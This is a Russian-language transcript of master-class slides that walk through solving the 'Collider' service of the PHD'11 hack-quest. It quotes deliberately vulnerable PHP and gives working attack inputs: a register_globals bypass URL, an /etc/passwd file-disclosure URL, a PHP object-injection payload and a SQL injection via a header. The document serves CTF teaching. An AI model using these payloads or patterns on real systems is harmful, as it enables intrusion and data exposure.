Юрий Гольцев - Сервис collider
TRANSCRIPT
Collider! challenge
(мастер-класс)
Сервис Collider
Сервис хак-квеста PHD’11 - Collider.
Как проходить?
•crypt.php + (Ctrl+F “FLAGHERE”)
Краткое содержание ситкома:
•Register Globals
•HTTP Parameter Pollution
• Local File Disclosure
•Сериализация
•SQL Injection
Register Globals (#1)
Конфигурационный файл php.ini
register_globals = On
Изменение типа переменных скрипта
Предположения?
…$u1['OTP']='OTP_'.$f3;/*…*/ if(is_array($n3)){foreach($n3 as $s1=>$l2){$x0[$s1]=$l2;}}if(isset($_REQUEST['pswd'])){$j3=trim($_REQUEST['pswd']);if($j3==$u1['OTP']){print"FLAGHERE";}else{print"<script>alert('Failed')</script>";}}Function….
Register Globals (#1)
http://localhost/cld/crypt.php?u1=O&pswd=O
if($j3==$u1['OTP']){print"FLAGHERE";}
HTTP Parameter Pollution (#2)
Ищем “FLAGHERE” – видим mysql_count()
Предложения?
http://raz0r.name/articles/http-parameter-pollution/
function collider_debug(){if(!is_numeric($_REQUEST['debug'])&&is_numeric($_REQUEST['phpver']))
….
if(is_numeric($_GET['debug'])&&isset($_GET['phpver'])){if($_GET['phpver']===phpversion())
….
print mysql_count("collider","debug");
HTTP Parameter Pollution (#2)
Local File Disclosure (#3)
Ищем “FLAGHERE” – больше не работает
Предложения?
…
function folowe($z1){$z1=str_replace(".","",$z1);if(file_exists($z1)){readfile($z1);}}
…
if(get_plain()){if(isset($_GET['op'])&&!empty($_GET['op'])){$w1=htmlspecialchars($_GET['op']);folowe($w1);
…
function get_plain(){if((isset($_REQUEST['permission']))&&($_REQUEST['permission']==$y1)){return 1;}
Local File Disclosure (#3)
http://localhost/cld/?permission=&op=/etc/passwd
Serialialise (#4)
$sessid = unserialize($_COOKIE['guest']);
Предложения?
https://rdot.org/forum/showthread.php?t=950 by BlackFan
class Collider_LO { … function __destruct() …$var = $this->shutdown[0];
$arg = $this->shutdown[1];
$var($arg);...
Serialialise (#4)
O:11:"Collider_LO":2:{s:3:"res";N;s:8:"collider";a:2:
{i:0;s:7:"phpinfo";i:1;i:-1;}}
SQL Injection (#5)
SQL injection? Опять?
Предложения?
… $_REQUEST['notbanned']) { $phd = $_SERVER['HTTP_PHD']; … $result=mysql_query("select id,phd,id as i,phd as p from status where id =$phd") …
SQL Injection (#5)